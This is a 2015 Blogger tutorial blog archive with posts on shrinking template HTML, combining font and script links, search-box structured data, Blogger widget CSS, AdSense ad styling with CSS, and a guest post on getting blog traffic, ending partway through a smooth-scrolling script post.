Monday, June 29, 2015

How to Decrease Your Blog HTML's Size Smartly & Make Your Blog Faster?
search-engine-love
Hmm…after four days, I got the chance to post because of Guest Posts. Did you liked them? I think so…because I personally read them thoroughly and they were quite informative for me. Let’s come to today’s topic. How to Decrease Your Blog HTML’s Size Smartly? Hmm…smartly? Do you think I am talking about smartly? No. My means from smartly is correctly and efficiently.
Do you know? Your blog’s HTML size effect your blog’s loading size. So, you can say that I am telling you an alternate way to decrease your blog’s loading time. Actually, while creating templates, some bloggers include tags that can be removed, comments that can be removed and multiple <script>, <b:if cond=…> tags in many places that can be removed very easily and they increase your blog’s loading time (because they increase your blog’s html size). So now, if you are newbie or a good blogger but don’t know how to remove that unnecessary tags or fearing to take a risk, then let me tell you how to remove that unnecessary tags safely without disturbing citizens sitting inside them (codes inside them).

How to remove them and make your blog better?

We have already told you some ways by which, you can boost your blog’s loading speed. But in that post, I had not mentioned about blog’s html size because this topic had needed a detailed post and now, it has been published! Here are some lines which can help you in removing unnecessary tags from your blogger template.

1. Remove Similar Meta Tags

Have you seen some similar meta tags in your template?
<meta expr:content='data:blog.metaDescription' name='description'/> <meta expr:content='data:blog.metaDescription' itemprop='description'/> <meta expr:content='data:blog.metaDescription' property='og:description'/> 
Now, do you know? We can write those three meta tags as:
<meta expr:content='data:blog.metaDescription' itemprop='description' name='description' property='og:description'/> 
Now how? Its quite simple. All those three meta tags work same which is telling description to social medias and search engine but for different social medias. I only putted all addresses of the work in one meta tag.

Any confusion? Look at the steps:
  • Firstly, collect all the similar meta tags which should have anyone thing same:
<meta expr:content='data:blog.metaDescription' name='description'/> <meta expr:content='data:blog.metaDescription' itemprop='description'/> <meta expr:content='data:blog.metaDescription' property='og:description'/>
  • Now, let’s combine those three in one (look at the things which are not same):
<meta expr:content='data:blog.metaDescription' name='description'/> <meta expr:content='data:blog.metaDescription' itemprop='description'/> <meta expr:content='data:blog.metaDescription' property='og:description'/>
To:
<meta expr:content='data:blog.metaDescription' itemprop='description' name='description' property='og:description'/>
Its simple! Just do this with all similar meta tags to decrease your blog’s html size.

2. Remove Unnecessary Script and Style tags

Have you many <script> and <style> tags in your template? If yes, then do you know that we can combine them in one? If no, then look at the steps below:
  • Suppose you have three scripts like these:
<script type='text/javascript'>
 //CODE First</script>
<script type='text/javascript'>
//CODE Second</script>
<script type='text/javascript'>
//CODE Third</script>
OR:
<style>
//CODE First</style>
<style>
//CODE Second</style>
<style>
//CODE Third</style>
[/code]
  • Now, do you know? You can write them like this
<script>
//CODEFirst//CODESecond//CODEThird</script>
OR:
<style>//CODEFirst//CODESecond//CODEThird</style>
  • Isn’t it simple? You just have to carefully remove script or style tags and done! Your template will become faster.

3. Compress JavaScript or CSS [Most Effective Method]

This is the most popular and effective method to decrease your blog’s html size in seconds. You just have to go to a compressor, paste your blog’s JavaScript or CSS and it will give you the compressed script.
Some Popular Compressors:
For JavaScript: JavaScript Compressor
For CSS: CSS Compressor

Final Words

I hope you enjoyed this post. Do you know? There are some other ways also to decrease your blog’s html size but they are probably hard for newbie bloggers. Now, if you liked it, kindly share it with your blogger friends and leave your feedback, comment below.
Read More »

Sunday, June 28, 2015

8+ Amazing Tips for Newbie Bloggers to Get Success!
seo tips 2015
Hello Dear Loyal Readers and Visitors, you are welcome. This is the first Guest Post on Blogger Guiders that is written by Syed Mushahid Hussain. You can also write a guest post for Blogger Guiders using this link:


Today in my this guest post I am going to tell you about some facts which many bloggers use to get high traffic towards there blog. You can also get high traffic on your blog after reading this post (or after reading these tips). I hope you will enjoy this post; so lets come back to the topic and start the lesson.

Here are some tricks which you should do to get high traffic towards your blog.

#1. Become commentator

One of the best way to get high traffic on your blog is comments. Now come out from your own blog for at least one hour and visit other blogs which is related to your blog and comment on those blog posts and leave link of your blog posts in those comments. Try to only leave links in blogs which have commentluv enabled. When the visitors  see your comment then 5 out of 10 will visit your blog. You can get high traffic from here believe me its really working trick.

Also Read: How to get comment approved easily with links?

#2. Write Guest Posts

Writing guest post is another a successful working trick to get high traffic towards your blog. Just like me, you should also write guest posts on other blogs which have already high traffic and don't forget to sure that the blog is giving a dofollow backlink towards your blog of not in the guest post and also introduce yourself well in guest post to get high traffic. Your post should be on a good topic and always use easy wording and images in your own blog post and also in guest posts so visitors can understand you easily and when they like and understand your post then no one can stop them from visiting your blog again.

#3. Socialize Your Blog

Social media is also a good place to get high traffic towards your blog. You should make Fan Page of your blog on Facebook, Google+ Page on Google+, Your blog's twitter account on Twitter and also make some promotion ways on other social medias and attract your audience by manual sharing on Facebook Pages, Google+ Pages and on other social medias. Not only share them, but write one-to-two lines to attract visitors more. Join Facebook groups and Google+ community related to your blog and share your blog posts in those groups also.Video sharing sites are also a big source of high traffic. Make videos about any post you are going to write (steps) and share it on video sharing sites like YouTube and dailymotion etc. And don't forget to add your blog logo and url in video.

#4. Join Communities 

There are a large number of communities already on internet to get high traffic towards your blog. Join communities like Yahoo Answers, Google+ Communities, Blogger Help Forums...etc and ask questions there and give answer of others asked questions and also add links of your blog in your questions and answers.

#5. Submit Your Blog To Search Engines 

Search engines are a big source on traffic. Actually search engines are the biggest source of traffic for bloggers if their blog get popular. According to Google, more than 5 million key words are searched by their search engines daily so this was the only report of Google. There are many other search engines in internet world which are mostly use by peoples like Yahoo and bing (by microsoft), Baidu...etc. So, you can also get a large number of visitors and chance the change them into loyal readers from Search Engines. So submit your blog on search engines and also improve your SEO for betterment of robots crawling.

#6. Improve your content

Yeah! As many bloggers always say: Content is the power of blog to get high traffic. You should make your content great and easy to understand by adding images and videos in your blog posts; so visitors will be able to understand what you want to tell them easily. Don't write for robots but write for your dear loyal reader. Always focus on quality not quantity their are many blogs who have less post but enjoying good traffic just due to their post quality.

#7. Write Ebooks

Ebooks make strong backlinks if you have skill in any field then show your skill by writing ebooks and publishing them on your blog about that topic I have also written a number of ebooks and I fell that I got high traffic from these ebooks because ebooks attract visitors. When you write an ebook, then also introduce yourself and your blog or website in ebook at last and also include your blog/website url in ebook. Now the question is, how can we get visitors by ebooks? Answer is- submit your ebook on websites like Amazon which allows anyone to submit their ebooks on their website. When you submit your ebook, then thousands of peoples will see your ebook and they will also download your ebook if they like or felt it attractive.

#8. Get traffic from Dmoz.org

dmoz.org is Google partner and Google send their spiders to domz.org to get new blogs/websites for indexing. The dmoz.org is very helpful for all bloggers to get high traffic towards their blog. Only few blogs are accepted by dmoz.org but who are accepted by them, surely are very lucky bloggers or webmasters. So what are you waiting for? If you think that your blog is able to get approved by dmoz.org then go and submit your blog on dmoz.org to get high traffic on your blog. Just check you luck!

#9. Make backlinks

Backlinks are very important for traffic and rank of your blog. You can make backlinks for your blog by comments, ebooks, videos, social media, Guest Post. All these are already described above. So I will not say much about this topic. My little advise is that- never use softwares to make backlinks for your blog because you will get traffic in start but at the end it is not recommend and will surely badly effect your blog's SEO means- it is not good for your blog's SEO.

About Guest Author

This informative post was written by Syed Mushahid Hussain. He is a Blogger and loves to write articles about blogging. Not only this, he also loves to help other bloggers in Blog-o-sphere. He is running his own blog where you can get more articles like this which is- Crashing Tricks. You can contact him here.
Read More »

Tuesday, June 23, 2015

Submit Your Guest Post For Blogger Guider [How To]
Now We Accept!
We have served our best written articles for you guys since two months and in these two months, We have got great response from our dear loyal readers and visitors who are becoming loyal readers. Blogger Guider now have a great number of dofollow backlinks from major and 5 Page rank URLs or say blogs or help forums like MBT, Blogger Help Forum and more... . We also have good Alexa rank (236,000+) and it is becoming better and better daily. We have also got lots of love in comments, emails and from surveys. Thanks for all this to you! Because you are the person who helped me a lot to make Blogger Guider a useful and popular place for bloggers.

Now, I want to give a chance to my loyal reader/visitors to publish and post their posts or say articles on Blogger Guider. Yes! You read right. Now you can publish your own written post on Blogger Guider for free? No. We will give you one dofollow backlinks at the end of the post plus about you and any one of your social profile link that will be nofollow.

What are the Requirements?

Requirements are not so hard nor so easy. Let's take a look at the requirements and common rules for a guest post approval

You will have to sure that-
  1. The guest post should not be copied.
  2. The guest post should contain unheard things about blogging.
  3. The guest post should contain at least two headings.
  4. The guest post should be 500 words long.
  5. The guest post should contain a nice and attractive featured image at the top of the post and it should be minimum of 720px width.
  6. The person who is going to write a guest post should sure that his writing skills are excellent.
  7. The guest post should contain at least two images for attraction of readers.
  8. The guest post should not contain any external links except Google, Yahoo and Wikipedia.
That's all!

I have to write about?

Now are you thinking what about you have to write? Below, we are listing some labels about which you can write.
  1. Blogger Optimizations Techniques
  2. Blogger Templates (own created)
  3. Blogger Widgets (own created, not copied)
  4. Blogger Tricks (new, not old that are posted somewhere already)
  5. Updates (hot updates about major sites like Google, Facebook related to Blogging)
Not sufficient? Want to write about something else about blogging? If yes, then you can email us and tell the title which you want to get published on Blogger Guider here.

How to submit the guest post?

That's great! I am really glad that you have decided to write for us. Now, we are going to tell you the way by which you will be able to submit the guest post to us.

Steps are following:
  1. Firstly, write your own guest post on Blogger Post Editor and then when you finish, go to HTML mode from the top-left buttons.
  2. Copy all the HTML of your post and paste it on 'Guest Post HTML' box in form below.
  3. Fill all other text boxes with the hint marked and then finally click on Submit Button.
  4. We will contact you within a day.

Final Words from Author

If you are going to submit your guest post, I am really happy that you found us valuable and perfect for your guest post. And if, you are not going to write for us, then I suggest you to try us. This will help only your blog to rank more on Google. Thanks!
Read More »

Sunday, June 21, 2015

Add External JS, Fonts or CSS without Much Effecting Page Loading Speed!
Some bloggers have craze of adding fonts. They sometimes add 10-15 fonts on a single blog to stylize their blog. Some bloggers have craze of blog styling and adding advanced functions in their blog using JavaScript and they add JavaScript and CSS externally (using link) and then they say- ‘Oh my gosh! How my blog is so slow!?’. 
Is it Similar to your story? Then today we have something to tell you!
Today, we will show you how can you add JavaScript & CSS which are hosted externally without much effecting your blog’s loading time. Actually, millions of Blogs about blogging introduce great widgets everyday to newbie bloggers. As, ‘newbie’ bloggers, they add that widget/gadgets in their blog but they never think that it can effect their blog’s loading time. Most of the bloggers upload widget’s CSS or JavaScript on an external server and when newbie bloggers add that widgets, their blog start behaving slow. So without talking anymore, let’s know what’s new thing in this post.

#1- Add Google Web Fonts Without Much Effecting Blog’s Page Loading Speed

Almost 90% Bloggers add some fonts (at least one) from Google Web Fonts in their blog. And, some bloggers add more than 5 Google Web Fonts in their blog. The Bloggers who have added 1-2 fonts, do not feel any changes in their blog’s loading speed but the Bloggers who have added more than 5 Google Web Fonts, feel a increase in their blog’s loading speed. You know why? Imagine- You have four bowls that are its one third filled. Your mom said to you to take that four bowls to hall of your home. And, it took you 5 minutes because you have two hands and in one time, you can only carry two bowls. But what if you collect all the material of four bowls and put it in one bowl and then take it to hall? It will take you only 1-2 minutes. Same as in Google Web Fonts. You add multiple links for multiple fonts but do you know? A single link can upload multi fonts in your blog and by doing this, you can decrease your blog’s loading speed in good percent. Now let’s learn how to do this:
  • Suppose, you have these fonts installed in your blogger blog:
<link href='http://fonts.googleapis.com/css?family=Lora:400,400italic|Bree+Serif' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Dosis' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Varela+Round' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Quattrocento+Sans' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Exo+2' rel='stylesheet' type='text/css'/>
  • It will increase your blog’s page loading speed but if you don’t want to let it increased, use below like link:
<link href='http://fonts.googleapis.com/css?family=Lora:400,400italic|Bree+Serif|Oswald|Dosis|Varela+Round|Quattrocento|Exo+2' rel='stylesheet' type='text/css'/> 

How to Create One Font Link from Multiple Font Links?

Its easy! You just have to remember what font you want. Okay… let me explain:
  • Suppose you have two font links as follows:
<link href='http://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Lora:400,400italic' rel='stylesheet' type='text/css'/> 
  • And you want to create one link of above two link. For this, you will have to remember the font names.
<link href='http://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'/> 
<link href='http://fonts.googleapis.com/css?family=Lora:400,400italic' rel='stylesheet' type='text/css'/> 
  • Now to make one link, you have to place first font name (Oswald) and then second font name (Lora:400,400italic) and between them, add | sign:
<link href='http://fonts.googleapis.com/css?family=Lora:400,400italic|Oswald' rel='stylesheet' type='text/css'/>
  • Done! Now, this link will load Oswald and Lora font which will decrease your page loading speed in good percent. (you can add more than 2 fonts also!)

#2- Adding all JavaScript or CSS in only one External Link

I think, you are not the developer of your template. Right? If yes, then you are using a designer’s template with credits. Of course right! Nowadays, designers add their credits and not only add credits but they add complex credits which are hard to remove. They sometime add different JavaScripts externally to protect credits from being removed. But these JavaScripts make template or say your blog’s loading speed too poor. So to prevent them from increasing your blog’s loading speed, I have a trick!
Search for an external JavaScript file in your template. (Tip: Most of the external JavaScript file links end with .js except Google Drive) Open it and copy all the JavaScript from it and now, paste it on a simple Notepad file. Do this with all external JavaScript file links (copy the JavaScripts and paste it below the before pasted JavaScripts on the Notepad file but give at least one line space) and then, save it with .js extension. Then follow the steps mentioned:
  • Go to YourJavaScript.com
  • Type your email, upload your file using given uploader and then type right captcha and then click on upload.
  • The link of the uploaded file will reach within 1 minute in your email id.
  • Place that link and remove all other external links from which you had copied JavaScripts and pasted on Notepad file.
  • Save Your Template and you will see a huge decrease in page loading speed.
You can do the same with CSS files but instead of saving the file with .js extention, save it with .css extension and upload it through DropBox.

Need Help?

If you are a newbie and don’t know much about External links, how to indentify JavaScript, how to identify CSS, then don’t worry! I am here to help. You can drop a short comment with your email below and I will help you personally to increase your blog’s loading speed. Thanks!
Read More »

Friday, June 19, 2015

Inform Google to Show Search Box In Search Results Under Your URL [UPDATED]
sitelinks
Did you ever saw search box in a search engine? Do you know how it comes? If no then- Google has a feature that displays site links and search box below your homepage's URL. It looks really cool to have it. Imagine- your blog's visitors can search directly from Google search results and Google will also show some attractive URLs from your blog which can help you in attracting more and more visitors from search engine plus, a search box from where, peoples can search what they want.

But now, the question is- How can you inform Google to show that search box for your blogger blog? So today, we are answering this question. We will not only tell you how to tell Google to show that search box for your blogger blog but also how to tell Google not to show search box for your blog (because sometimes, Google automatically shows it) and it's just a simple thing that can be done with a single line meta tag.

Also Read:- How to Customize Google Custom Search Engine Using CSS?

How to Enable it for Your Blogger Blog??

It's really easy! You just have to add a small chunk of JavaScript or a little chunk of MICRODATA in your template's head section.

Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • We have two methods for finalizing the process of telling Google to show that search box for your blog. 
Note: - You have to do only any one method mentioned below.

Method #1- Using JSON-LD

Now, you will have to add this small chunk of code before '</head>' in your template:
<script type="application/ld+json">
{
  "@context": "http://schema.org",
  "@type": "WebSite",
  "url": "https://www.example.com/",
  "potentialAction": {
    "@type": "SearchAction",
    "target": "https://query.example.com/search?q={search_term_string}",
    "query-input": "required name=search_term_string"
  }
}
</script>
Customization:-
  • Change the highlighted URLs with your blog's URL and save your template.

Method #2- Using MICRODATA

This time, you will have to add a different chunk of code in your blog (that's why it is #2 method =P). Add this code in your template before '</head>':
<div itemscope itemtype="http://schema.org/WebSite">
  <meta itemprop="url" content="http://www.example.com/"/>
  <form itemprop="potentialAction" itemscope itemtype="http://schema.org/SearchAction">
    <meta itemprop="target" content="http://query.example.com/search?q={search_term_string}"/>
    <input itemprop="query-input" type="text" name="search_term_string" required/>
    <input type="submit"/>
  </form>
</div>
Customization:-
  • Change the highlighted URLs with your blog's homepage URL and then save your template.
You're Done!

How to tell Google not to display Search Box of your blog?

Now, if you don't want Google to display search box for your blog (if you don't like it), then there is also a way by which you can tell Google that you don't want to display search box for your blog. And the way is:
  • Add this Meta Tag in your template before '</head>' or after '<head>' (after '<head>' is recommended):
<meta name="google" content="nositelinkssearchbox" />
Note:- Search box of your blog will get removed within some weeks (after Google crawl your blog again).

Final Words from Author

Actually, I had tested this Sitelinks on Blogger Guiders and got amazing results that's why I posted it here. Hope you loved it. And yeah, don't forget to share it on social media with your friends and family. If any problem occurs, please report it through comments. Thanks!
Read More »

Sunday, June 14, 2015

3 Major Disadvantages Of Removing Blogger Default Widget CSS
Featured Image-min Shocked? Yes. Because some days ago we had told you how to remove blogger default widget CSS without messing up your template. But now why this?
This is because We took a test about what changes will come after removing those two link hrefs from Blogger and for this, we had removed the two hrefs from Blogger Guiders for some weeks and found some major disadvantages from that test which we are going to discuss here today. We will also discuss here why we should not remove those two link hrefs from Blogger blogs. Plus, we will today tell you how can you reverse that two link hrefs in minutes to your blog!

Disadvantage #1- Messed Up Layout Tab

The most major disadvantage of removing those two hrefs is- the layout tab of your blogger blog will get messed up. Yes! I am talking about that layout tab in which you add awesome widgets of your blogger blog. My means of messed up is- the columns will get disturbed and look ugly. See these two images:
Before removing those two link hrefs
search-engine-love-min_thumb[5]-min
After removing those two link hrefs
After removing-min

Why this happens?

If you are thinking this question in your mind, then you are not the person who developed the template you are using in present. Right? Because when a template developer create a template, he/she always put body#layout CSS tags to make the layout tab’s interface user-friendly and easy to understand. When you remove those two links hrefs from your nice template, that body#layout CSS tags will surely stop working and this is the main reason of layout tab messing up.

Disadvantage #2- Blogger Default Widget will look Ugly!

When you every time go to Blogger Dashboard > Layout and click on Add a Gadget link, you surely see a list of widgets provided by bloggers. Right? All those widgets are created by Bloggers and the CSS of all those widgets are stored in those two link hrefs and when you remove those two link hrefs from your blogger blog, the widgets you have added using the Add a Gadget link will start looking ugly (like Popular Post widget, About Me widget), which is really a disadvantage of removing those two hrefs.

Disadvantage #3- Variable Definitions will stop working

Have you ever saw this type of code in your template (not same but similar) ?- [code] /* Variable definitions ==================== <Variable name="startSide" description="Side where text starts in blog language" type="automatic" default="left" /> <Variable name="endSide" description="Side where text ends in blog language" type="automatic" default="right" /> <Group description="Blog Post Title" selector="#header"> <Variable name="blogtitle.font" description="Blog Title Font" type="font" default="normal normal 30px Oswald,'Bebas Neue',Bebas,'Arial Narrow',Sans-Serif"/> <Variable name="blogdesc.font" description="Blog Description Font" type="font" default="normal normal 14px 'Trebuchet MS', Trebuchet, Arial, Verdana, Sans-serif"/> <Variable name="blogdesc.text.color" description="Blog Description Color" type="color" default="#F7F7F7"/> </Group> <Group description="Article Area" selector="body"> <Variable name="artitle.background.color" description="Background Color" type="color" default="#FFFFFF"/> <Variable name="article.border.color" description="Border Color" type="color" default="#DADADA"/> <Variable name="articlehead.font.color" description="Heading Color" type="color" default="#353535"/> <Variable name="widgethead.font.color" description="Widget Title Color" type="color" default="#353535"/> </Group> <Group description="Menu Area" selector="body"> <Variable name="menu.background.color" description="Background Color" type="color" default="#353535"/> <Variable name="menu.text.color" description="Text Color" type="color" default="#FFFFFF"/> <Variable name="submenu.background.color" description="Sub Menu Color" type="color" default="#FFFFFF"/> <Variable name="subsubmenu.background.color" description="Sub Sub Menu Color" type="color" default="#FAFAFA"/> </Group> <Group description="Top Menu Area" selector="body"> <Variable name="topmenu.background.color" description="Background Color" type="color" default="#003C30"/> <Variable name="topmenures.background.color" description="Responsive Menu Background" type="color" default="#00251E"/> <Variable name="topmenu.text.color" description="Text Color" type="color" default="#009678"/> </Group> <Group description="Other" selector="body"> <Variable name="footer.text.color" description="Footer Text Color" type="color" default="#CCCCCC"/> <Variable name="news.background.color" description="News Ticker Color" type="color" default="#F5F5F5"/> <Variable name="bottomborder.background.color" description="Content Border Color" type="color" default="#D8D8D8"/> </Group> [/code] If no, then this disadvantage will never effect your blog but if yes, then it will effect. Actually, this code help developers to code and create template fastly that’s why they use it but this code will stop working if you will remove those two link hrefs. But this disadvantage can be fixed using notepad or any other text editor. Just replace this value with is in ‘name’ like <Variable name=''footer.text.color'' with the value in 'default' like in default=''#D8D8D8''.

Why you don’t need to remove that Blogger Widget CSS?

Yes! You heard right. You don’t need to remove that Blogger Widget CSS because after some research, we found that those two link hrefs only take 2-3 seconds to load and fit on your blogger blog webpage. Fact: Blogger Default Widget CSS files size is just 7.8 KB! So why we remove that link hrefs if they are not decreasing much loading speed of our blog?

How to revert changes and re-add those two link hrefs?

If you have already followed our previous article that was about how to remove that two link hrefs, and now after reading these disadvantages, you want to re-add those link hrefs from your blog, then just follow these simple steps!
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now search this code in your template:
&lt;style type=&quot;text/css&quot;&gt;
&lt;!-- /*<b:skin><![CDATA[*/]]></b:skin>
<style type='text/css'>
  • Now replace it with the code:
<b:skin><![CDATA[
  • Now find the ending ‘</style>’ tag and replace it with ‘]]></b:skin>’ and
  • Save your template!
If any other help is needed, please let us know through comments. :)

Read More »

Saturday, June 13, 2015

How to Make Adsense Ads Attractive To Earn More?
By Using CSS!
Nowadays, Adsense is the most popular ads provider for bloggers, WordPress users or say for Blogs and Websites. But their CPC is too low so, many bloggers who don't have a popular blog, are unable to earn from their blog. So, to help them, I am here with a new post that will tell you how to make your blog AdSense ads attractive and able to attract visitors.
Normally, Adsense ads are not much attractive. Just a square or rectangle box with two colors mashup. And this is the biggest reason you don’t get enough clicks from your blog. To make them attractive, today we will use CSS properties like box-shadow to add shadows on advertisements to make ads interesting.
Let’s look at some styles to make AdSense ads attractive.

#1- By Adding Box Shadow

Add Box-shadow
In this style, we have used a little CSS by which, a beautiful shadow will be added behind your blog’s AdSense ads. To add this style in your blog’s all AdSense ads, just follow these steps:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now press Ctrl+F to open search box.
  • Type ‘]]></b:skin>’ in that search box and press enter.
  • After you find it, add this code above ‘]]></b:skin>’ in your template:
ins.adsbygoogle {
box-shadow: 0px 0px 7px 2px #818181;
}

Customization

  1. You can change the shadow’s color by changing the hex color code that is highlighted with black color, bold, and italic.
  • Save your template and done!

#2- By Adding Borders To Advertisement Boxes

Add Border CSS
This time, I have tried something different. Now, border CSS property is used to make this ugly adsense ad attractive. This time, I have not used an ordinary border type because using that type (solid), AdSense was not looking more beautiful than this. Let’s learn how to add this stylish, attractive CSS to your blog:
Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now same- press Ctrl+F to open search box.
  • Type ‘]]></b:skin>’ in that search box and press enter.
  • After you find it, add this code above ‘]]></b:skin>’ in your template:
ins.adsbygoogle {
border: 10px #007DC1 inset;
}

Customization

  1. To change border’s widget replace black colored 10px in above code.
  2. To change border’s color replace #007DC1 with the hex color code you want.
  3. To change border’s type change the text in sky-blue (aqua) color.
  • Save your template and done!

#3- Adding Both Box-shadow and Border

This time, I have added both, Box shadow property and Border property and the resulted design was amazing! Look at this-
Add Both!
Looking professional, eye-catching and attractive? Now let’s learn how to add this style to boost your earnings!

Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now same- press Ctrl+F to open search box.
  • Type ‘]]></b:skin>’ in that search box and press enter.
  • After you find it, add this code above ‘]]></b:skin>’ in your template:
ins.adsbygoogle {
border: 10px #007DC1 inset;
box-shadow: 0px 0px 7px 2px #818181;
}
  • Save your template and all done! (You know the customizations. :p)
Note: - These styles will work on all ad sizes.

Final Words By Author

I hope you liked this post and going to implement these awesome techniques on your excellent blog. We are not even touching AdSense ads. We are just adding some CSS to get its look attractive. Means, your AdSense account is safe. As always, if any problem occurs during saving changes, please contact us using comment box below. Thanks!
Read More »

Thursday, June 11, 2015

How to Add Smooth Scrolling Feature On Blogger Blogs?
Now add it on blogger! title=
Have you ever seen smooth scrolling in Blogger Blogs? Tomorrow, I was searching for how to add smooth scrolling feature for blogger blogs on Google and I did not find even one related result. All result was of adding Smooth Scroll To Top feature in Blogger. So today, I have brought you a script by which, you can add smooth scrolling feature on blogger. This smooth scrolling feature makes your blog’s layout professional. To see a demo of this feature, you can scroll this page because I have added Smooth Scrolling JavaScript on this page. This script is totally free to use, but you have to keep the comment credits on this JavaScript. So let’s learn how to add it to your blog.

How to Add this Feature on Blogger Blogs?

Now, it's time to learn how to add this feature to your blog.
Steps are following:
  • Go to Blogger Dashboard > Template > Edit HTML
  • Now, press Ctrl+F after clicking anywhere on Blogger HTML Editor to open search box.
  • Now type '</body>' and press Enter button from your keyboard.
  • Place the following chunk of JavaScript above ‘</body>’ tag in your template HTML.
<script type='text/javascript'>
//<![CDATA[
// SmoothScroll for websites v1.2.1
// Licensed under the terms of the MIT license.
// People involved
// - Balazs Galambosi (maintainer) 
// - Michael Herf (Pulse Algorithm)
!function(){function e(){var e=!1;e&&c("keydown",r),v.keyboardSupport&&!e&&u("keydown",r)}function t(){if(document.body){var t=document.body,o=document.documentElement,n=window.innerHeight,r=t.scrollHeight;if(S=document.compatMode.indexOf("CSS")>=0?o:t,w=t,e(),x=!0,top!=self)y=!0;else if(r>n&&(t.offsetHeight<=n||o.offsetHeight<=n)){var a=!1,i=function(){a||o.scrollHeight==document.height||(a=!0,setTimeout(function(){o.style.height=document.height+"px",a=!1},500))};if(o.style.height="auto",setTimeout(i,10),S.offsetHeight<=n){var l=document.createElement("div");l.style.clear="both",t.appendChild(l)}}v.fixedBackground||b||(t.style.backgroundAttachment="scroll",o.style.backgroundAttachment="scroll")}}function o(e,t,o,n){if(n||(n=1e3),d(t,o),1!=v.accelerationMax){var r=+new Date,a=r-C;if(a<v.accelerationDelta){var i=(1+30/a)/2;i>1&&(i=Math.min(i,v.accelerationMax),t*=i,o*=i)}C=+new Date}if(M.push({x:t,y:o,lastX:0>t?.99:-.99,lastY:0>o?.99:-.99,start:+new Date}),!T){var l=e===document.body,u=function(){for(var r=+new Date,a=0,i=0,c=0;c<M.length;c++){var s=M[c],d=r-s.start,f=d>=v.animationTime,h=f?1:d/v.animationTime;v.pulseAlgorithm&&(h=p(h));var m=s.x*h-s.lastX>>0,w=s.y*h-s.lastY>>0;a+=m,i+=w,s.lastX+=m,s.lastY+=w,f&&(M.splice(c,1),c--)}l?window.scrollBy(a,i):(a&&(e.scrollLeft+=a),i&&(e.scrollTop+=i)),t||o||(M=[]),M.length?E(u,e,n/v.frameRate+1):T=!1};E(u,e,0),T=!0}}function n(e){x||t();var n=e.target,r=l(n);if(!r||e.defaultPrevented||s(w,"embed")||s(n,"embed")&&/\.pdf/i.test(n.src))return!0;var a=e.wheelDeltaX||0,i=e.wheelDeltaY||0;return a||i||(i=e.wheelDelta||0),!v.touchpadSupport&&f(i)?!0:(Math.abs(a)>1.2&&(a*=v.stepSize/120),Math.abs(i)>1.2&&(i*=v.stepSize/120),o(r,-a,-i),void e.preventDefault())}function r(e){var t=e.target,n=e.ctrlKey||e.altKey||e.metaKey||e.shiftKey&&e.keyCode!==H.spacebar;if(/input|textarea|select|embed/i.test(t.nodeName)||t.isContentEditable||e.defaultPrevented||n)return!0;if(s(t,"button")&&e.keyCode===H.spacebar)return!0;var r,a=0,i=0,u=l(w),c=u.clientHeight;switch(u==document.body&&(c=window.innerHeight),e.keyCode){case H.up:i=-v.arrowScroll;break;case H.down:i=v.arrowScroll;break;case H.spacebar:r=e.shiftKey?1:-1,i=-r*c*.9;break;case H.pageup:i=.9*-c;break;case H.pagedown:i=.9*c;break;case H.home:i=-u.scrollTop;break;case H.end:var d=u.scrollHeight-u.scrollTop-c;i=d>0?d+10:0;break;case H.left:a=-v.arrowScroll;break;case H.right:a=v.arrowScroll;break;default:return!0}o(u,a,i),e.preventDefault()}function a(e){w=e.target}function i(e,t){for(var o=e.length;o--;)z[N(e[o])]=t;return t}function l(e){var t=[],o=S.scrollHeight;do{var n=z[N(e)];if(n)return i(t,n);if(t.push(e),o===e.scrollHeight){if(!y||S.clientHeight+10<o)return i(t,document.body)}else if(e.clientHeight+10<e.scrollHeight&&(overflow=getComputedStyle(e,"").getPropertyValue("overflow-y"),"scroll"===overflow||"auto"===overflow))return i(t,e)}while(e=e.parentNode)}function u(e,t,o){window.addEventListener(e,t,o||!1)}function c(e,t,o){window.removeEventListener(e,t,o||!1)}function s(e,t){return(e.nodeName||"").toLowerCase()===t.toLowerCase()}function d(e,t){e=e>0?1:-1,t=t>0?1:-1,(k.x!==e||k.y!==t)&&(k.x=e,k.y=t,M=[],C=0)}function f(e){if(e){e=Math.abs(e),D.push(e),D.shift(),clearTimeout(A);var t=D[0]==D[1]&&D[1]==D[2],o=h(D[0],120)&&h(D[1],120)&&h(D[2],120);return!(t||o)}}function h(e,t){return Math.floor(e/t)==e/t}function m(e){var t,o,n;return e*=v.pulseScale,1>e?t=e-(1-Math.exp(-e)):(o=Math.exp(-1),e-=1,n=1-Math.exp(-e),t=o+n*(1-o)),t*v.pulseNormalize}function p(e){return e>=1?1:0>=e?0:(1==v.pulseNormalize&&(v.pulseNormalize/=m(1)),m(e))}var w,g={frameRate:150,animationTime:800,stepSize:120,pulseAlgorithm:!0,pulseScale:8,pulseNormalize:1,accelerationDelta:20,accelerationMax:1,keyboardSupport:!0,arrowScroll:50,touchpadSupport:!0,fixedBackground:!0,excluded:""},v=g,b=!1,y=!1,k={x:0,y:0},x=!1,S=document.documentElement,D=[120,120,120],H={left:37,up:38,right:39,down:40,spacebar:32,pageup:33,pagedown:34,end:35,home:36},v=g,M=[],T=!1,C=+new Date,z={};setInterval(function(){z={}},1e4);var A,N=function(){var e=0;return function(t){return t.uniqueID||(t.uniqueID=e++)}}(),E=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||function(e,t,o){window.setTimeout(e,o||1e3/60)}}(),K=/chrome/i.test(window.navigator.userAgent),L="onmousewheel"in document;L&&K&&(u("mousedown",a),u("mousewheel",n),u("load",t))}();
//]]>
</script>
  • At last, save your template and give it a view!
[success headline=Success]Congratulations! You have added this feature to your blog successfully. But if you want to give it permission to load fastly, then add it below ‘<body>’ tag. [/success]

UPDATE: We have found another script which is made of jQuery and is very minimalistic and impressive. Instead of the above script, you can use this code which would not much affect your blog's loading speed:
<script type='text/javascript'>
      //<![CDATA[
